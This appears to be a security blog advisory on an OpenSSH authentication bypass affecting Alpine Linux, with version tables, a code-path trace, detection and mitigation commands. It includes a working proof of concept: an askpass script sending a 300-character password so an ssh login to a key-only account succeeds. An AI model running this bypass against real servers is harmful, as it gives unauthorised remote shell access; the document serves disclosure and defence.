I spotted this one in the CISA KEV list on 9 November with a 12 November due date a full week after the fix landed in Alpine repos. CVE-2026-123158 is an authentication bypass in OpenSSH when built against musl libc without PAM, exactly how Alpine Linux ships its openssh-server package. The bypass turns every key-only account into a remote shell, and the only precondition is that at least one real password hash exists on the machine. Most Alpine servers satisfy that the moment someone sets a root password.
Sources: OpenSSH 10.6p2 Release Notes · Upstream Fix · Alpine Advisory · NVD Entry · Lab by Leon Jacobs
CVE-2026-123158 Overview
| Field | Value |
|---|---|
| CVSS | 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-394: Unexpected Status Code or Return Value |
| Vector | Network, unauthenticated, remote |
| EPSS | 16.5% (97th percentile) |
| CISA KEV | Yes added 9 Nov 2026, due 12 Nov 2026 |
| PoC | Yes verified in lab below |
Affected Versions
All Alpine releases from 3.16 through 3.24 and edge are affected when using the openssh-server package (built without PAM).
| Alpine Branch | Vulnerable | Fixed |
|---|---|---|
| edge | 10.5_p1-r0 | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r1 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r0 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r10 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r0 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r5 | 9.7_p1-r6 |
| 3.19-3.16 | various | per advisory |
Technical Deep Dive
When OpenSSH is compiled without PAM, it validates passwords by calling crypt() and comparing to the stored shadow hash. The exploit relies on two interacting bugs.
Bug 1 musl crypt() returns * for keys over 256 bytes. musl crypt() returns * when the key exceeds 256 bytes. This matches the shadow field of key-only accounts.
Bug 2 OpenSSH static buffer aliasing. When the stored field is too short for a salt, pick_salt() iterates getpwent()/getspnam() to borrow a $6$ salt. But getspnam() overwrites musl's single static buffer, so pw_password (which pointed at *) now points at root's $6$ hash and the comparison fails. However pick_salt() caches the salt, so on the second attempt pw_password stays *, crypt returns *, and the match succeeds.
sys_auth_passwd(ssh, "A"*300)
- shadow_pw(pw) -> getspnam("testkey") -> "*" into pw_password
- pw_password[0] && pw_password[1] -> "*" has [1]==0 -> salt = NULL
- xcrypt(password, NULL)
| - pick_salt()
| - getpwent() -> shadow_pw(root) -> getspnam("root")
| | "$6$tXN13pZv..." -> salt (cached in static salt[32])
| THIS OVERWRITES the spwd buffer pw_password points to!
- crypt("A"*300, "$6$tXN...") -> musl returns "*"
- strcmp("*", "$6$tXN13p...") -> MISMATCH -> FAIL
Second attempt (same connection):
- pw_password = getspnam("testkey") -> "*" (buffer restored)
- xcrypt(password, NULL)
| - pick_salt() -> cached "$6$tXN..." (no getspnam call)
- crypt("A"*300, "$6$tXN...") -> musl returns "*"
- strcmp("*", "*") -> MATCH -> LOGIN SUCCESSProof of Concept
Lab on Alpine 3.22.8 with openssh-server-10.0_p1-r10 (last vulnerable). Two accounts: testkey (shadow field *) and testuser (real $6$ hash).
#!/bin/sh
# askpass.sh - prints 300 chars each time ssh prompts
python3 -c 'print("A"*300)'
# Terminal session:
$ SSH_ASKPASS=./askpass.sh SSH_ASKPASS_REQUIRE=force \
setsid -w ssh -o NumberOfPasswordPrompts=3 \
-o PreferredAuthentications=password \
testkey@VULN_HOST -p 22 'id'
Permission denied, please try again.
uid=1000(testkey)
Detection
# List *-field accounts (bypass targets)
awk -F: '$2 == "*" {print $1}' /etc/shadow
# Scan auth logs for Accepted password on *-field accounts
grep "Accepted password for" /var/log/messages | \
while read -r month day time user rest; do
if awk -F: -vu="$user" '$1==u && $2=="*"' /etc/shadow; then
echo "ALERT: $user with * field logged in via password!"
fi
done
Mitigation
Upgrade the openssh package and restart sshd (rc-service sshd restart). Upgrading the binary alone does not replace the running daemon.
apk upgrade -U -a
rc-service sshd restart
# Workaround if you cannot update:
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/00-no-passwords.conf
sed -i.bak -e '1i PasswordAuthentication no' \
-e 's/^\(\s*PasswordAuthentication[^y#]*\)yes/\1no/i' \
/etc/ssh/sshd_config
sshd -t && rc-service sshd restartRelated: Audit sshd_config Hardening Gaps · Summarize fail2ban Bans
If you run Alpine Linux servers and rely on key-only SSH accounts, patch this today. The 12 November KEV deadline is tight, but PasswordAuthentication no is a stopgap if you cannot restart sshd. This exploit is trivially weaponisable so do not leave it for the weekend.